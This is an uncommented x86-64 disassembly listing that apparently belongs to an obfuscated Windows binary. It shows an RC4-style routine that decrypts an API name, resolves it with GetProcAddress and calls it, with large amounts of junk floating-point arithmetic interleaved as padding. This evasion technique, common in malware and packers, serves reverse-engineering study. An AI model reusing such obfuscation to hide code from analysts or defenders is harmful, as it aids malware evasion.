movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x50]
subss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
jmp 0x14012b271
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x50]
divss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
jmp 0x14012b277
addss xmm1, xmm0
lea eax, [rcx - 0xd7]
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movzx r12d, byte [rbp + r8 + 0x120]
add r13b, 2
movzx r11d, byte [rsp + 0x70]
add sil, r14b
movzx r10d, sil
mov r9, r8
shl r13b, 4
inc dil
or r13b, al
movzx ecx, dil
movzx eax, byte [rbp + r10 + 0x120]
mov byte [rbp + r8 + 0x120], al
movzx r8d, dl
movzx eax, byte [rbp + r8 + 0x120]
mov byte [rbp + r10 + 0x120], al
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + r8 + 0x120], al
mov byte [rbp + rcx + 0x120], r12b
add r11b, byte [rbp + r12 + 0x120]
movzx eax, r11b
mov byte [rsp + 0x70], r11b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r9 + 0x120]
add rcx, rax
movzx eax, byte [rbp + r8 + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r10 + 0x120]
add rax, r12
movzx eax, al
movzx edx, byte [rbp + rcx + 0x120]
xor dl, byte [rbp + rax + 0x120]
xor dl, r13b
test ebx, ebx
je 0x14012b34c
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x330], dl
lea ecx, [rbx + 1]
cmp ecx, 0x18
jge 0x14012b471
mov r15d, Ordinal_27
sub r15d, ecx
mov eax, dword [rsp + 0x58]
lea rcx, [fcn.14087b4a3]
add eax, 2
movzx r8d, dl
mov dword [rsp + 0x58], eax
add sil, r12b
cdqe
inc dil
movzx r10d, r13b
movzx r9d, sil
mov dword [rsp + 0x68], ebx
movzx r11d, byte [rax + rcx]
movzx eax, byte [rax + rcx + 1]
add r11b, 2
movzx r14d, byte [rbp + r10 + 0x120]
add al, 0x29
movzx ecx, dil
shl r11b, 4
or r11b, al
movzx eax, byte [rbp + r9 + 0x120]
mov byte [rbp + r10 + 0x120], al
movzx r13d, r11b
movzx eax, byte [rbp + r8 + 0x120]
mov byte [rbp + r9 + 0x120], al
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + r8 + 0x120], al
movzx eax, byte [rsp + 0x70]
mov byte [rbp + rcx + 0x120], r14b
add al, byte [rbp + r14 + 0x120]
mov byte [rsp + 0x70], al
movzx eax, al
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r8 + 0x120]
add rcx, rax
movzx eax, byte [rbp + r10 + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r9 + 0x120]
add rax, r14
movzx eax, al
movzx edx, byte [rbp + rcx + 0x120]
xor dl, byte [rbp + rax + 0x120]
xor dl, r11b
add ebx, 1
je 0x14012b45d
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x330], dl
movzx r12d, r14b
sub r15, 1
jne 0x14012b361
movzx r11d, byte [rsp + 0x70]
movzx r9d, r13b
lea rcx, [fcn.14087b4a3]
movzx edx, dl
mov r15d, ebx
inc ebx
mov dword [rsp + 0x68], ebx
movzx r12d, byte [rbp + r9 + 0x120]
lea eax, [rbx + rbx]
cdqe
movzx r10d, byte [rax + rcx]
movzx eax, byte [rax + rcx + 1]
add al, 0x29
lea r14d, [r10 + 2]
shl r14b, 4
or r14b, al
movzx eax, dil
inc dil
movzx ecx, dil
add sil, byte [rbp + rax + 0x120]
movzx r8d, sil
movzx eax, byte [rbp + r8 + 0x120]
mov byte [rbp + r9 + 0x120], al
movzx eax, byte [rbp + rdx + 0x120]
mov byte [rbp + r8 + 0x120], al
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + rdx + 0x120], al
mov byte [rbp + rcx + 0x120], r12b
add r11b, byte [rbp + r12 + 0x120]
movzx eax, r11b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r9 + 0x120]
add rcx, rax
movzx eax, byte [rbp + rdx + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x120]
add rcx, r12
movzx edx, byte [rbp + rax + 0x120]
movzx eax, cl
movzx r9d, byte [rbp + rdx + 0x120]
xor r9b, byte [rbp + rax + 0x120]
xor r9b, r14b
test ebx, ebx
je 0x14012b561
mov byte [rbp + r15 + 0x330], r9b
movss xmm0, dword [0x1408b9a78]
inc ebx
movss xmm1, dword [0x1408b9960]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [0x1408b9804]
movss dword [rsp + 0x50], xmm1
lea ecx, [rbx + rbx]
movss xmm1, dword [0x1408b96a4]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b9540]
movss dword [rsp + 0x40], xmm1
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
mov r13d, ebx
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
addss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
comiss xmm0, xmm2
movss xmm1, dword [rsp + 0x48]
jbe 0x14012b6ad
movss xmm0, dword [rsp + 0x58]
lea rdx, [fcn.14087b4a3]
subss xmm1, xmm0
movsxd rax, ecx
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
movzx r10d, byte [rax + rdx]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
jmp 0x14012b715
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
divss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm0, dword [0x1408b9a48]
add r10b, 2
movss xmm1, dword [0x1408b9990]
shl r10b, 4
movsxd rax, ecx
lea rcx, [fcn.14087b4a3]
movzx r14d, r14b
movzx r15d, byte [rax + rcx + 1]
add r15b, 0x29
or r15b, r10b
movzx r10d, byte [rbp + r14 + 0x120]
movss dword [rsp + 0x48], xmm0
movss xmm0, dword [0x1408b98b0]
movss dword [rsp + 0x60], xmm1
movss xmm1, dword [0x1408b97ac]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [0x1408b96c8]
movss dword [rbp - 0x80], xmm1
movss xmm1, dword [0x1408b95c0]
movss dword [rsp + 0x78], xmm0
movss xmm0, dword [0x1408b94c0]
movss dword [rsp + 0x58], xmm1
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
comiss xmm1, xmm0
jbe 0x14012b8ee
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
subss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
mulss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rbp - 0x80]
addss xmm1, xmm0
movss dword [rbp - 0x80], xmm1
jmp 0x14012b98e
movss xmm1, dword [rsp + 0x58]
inc dil
movss xmm0, dword [rsp + 0x50]
add sil, r12b
subss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x78]
addss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x78]
addss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movzx edx, r9b
movzx r8d, sil
movzx ecx, dil
movzx eax, byte [rbp + r8 + 0x120]
mov byte [rbp + r14 + 0x120], al
movzx eax, byte [rbp + rdx + 0x120]
mov byte [rbp + r8 + 0x120], al
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + rdx + 0x120], al
mov byte [rbp + rcx + 0x120], r10b
add r11b, byte [rbp + r10 + 0x120]
movzx eax, r11b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + rdx + 0x120]
add rcx, rax
movzx eax, byte [rbp + r14 + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x120]
add rcx, r10
movzx edx, byte [rbp + rax + 0x120]
movzx eax, cl
movzx ecx, byte [rbp + rdx + 0x120]
xor cl, byte [rbp + rax + 0x120]
xor cl, r15b
test ebx, ebx
je 0x14012ba38
mov eax, dword [rsp + 0x68]
mov byte [rbp + rax + 0x330], cl
movss xmm0, dword [0x1408b9b14]
lea rdx, [fcn.14087b4a3]
movss xmm1, dword [0x1408b9aa0]
add r10b, sil
inc ebx
movzx r10d, r10b
movzx r8d, r15b
inc dil
movzx esi, cl
movzx r9d, dil
lea eax, [rbx + rbx]
cdqe
movzx r14d, byte [rax + rdx + 1]
movzx eax, byte [rax + rdx]
add r14b, 0x29
movzx edx, byte [rbp + r8 + 0x120]
add al, 2
shl al, 4
or r14b, al
movzx eax, byte [rbp + r10 + 0x120]
mov byte [rbp + r8 + 0x120], al
movzx eax, byte [rbp + rsi + 0x120]
mov byte [rbp + r10 + 0x120], al
movzx eax, byte [rbp + r9 + 0x120]
mov byte [rbp + rsi + 0x120], al
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [0x1408b99d8]
movss dword [rbp - 0x78], xmm1
movss xmm1, dword [0x1408b98c8]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [0x1408b9788]
movss dword [rsp + 0x40], xmm1
movss xmm1, dword [0x1408b964c]
movss dword [rsp + 0x78], xmm0
movss xmm0, dword [0x1408b9510]
movss dword [rsp + 0x60], xmm1
movss dword [rsp + 0x48], xmm0
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
comiss xmm1, xmm0
jbe 0x14012bc55
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x60]
divss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
divss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x48]
divss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rbp - 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x40]
subss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x58]
addss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
jmp 0x14012bcf7
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
mov byte [rbp + r9 + 0x120], dl
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x60]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x58]
mulss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
test ebx, ebx
je 0x14012bd65
add r11b, byte [rbp + rdx + 0x120]
movzx edx, byte [rbp + r10 + 0x120]
movzx eax, r11b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r8 + 0x120]
add rcx, rax
movzx eax, byte [rbp + rsi + 0x120]
add rcx, rax
movzx eax, cl
movzx r8d, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r9 + 0x120]
add rdx, rax
movzx eax, dl
movzx edx, byte [rbp + r8 + 0x120]
xor dl, byte [rbp + rax + 0x120]
xor dl, r14b
mov byte [rbp + r13 + 0x330], dl
mov r14, qword [rbp - 0x48]
xor r15d, r15d
mov byte [rbp + 0x349], 0
mov rcx, qword [rbp - 0x58]
lea rdx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [r14]
lea r8, [r14 + 8]
xor edx, edx
mov qword [rsp + 0x20], r15
lea r9d, [rdx + 0x30]
call rax
test eax, eax
jns 0x14012bdb1
mov rax, qword [rbp - 0x68]
mov rcx, qword [r14]
mov dword [rax], 5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14012bdc0
mov rax, r14
jmp 0x14012bdc2
mov rax, qword [rbp - 0x68]
mov dword [rax], 4
xor eax, eax
mov r12, qword [rsp + 0x518]
mov r13, qword [rsp + 0x510]
mov r14, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x520]
mov r15, qword [rsp + 0x500]
movaps xmm6, xmmword [rsp + 0x4f0]
movaps xmm7, xmmword [rsp + 0x4e0]
movaps xmm8, xmmword [rsp + 0x4d0]
movaps xmm10, xmmword [rsp + 0x4b0]
mov rsi, qword [rsp + 0x550]
movaps xmm11, xmmword [rsp + 0x4a0]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.14087bc90
add rsp, 0x528
pop rbx
pop rbp
ret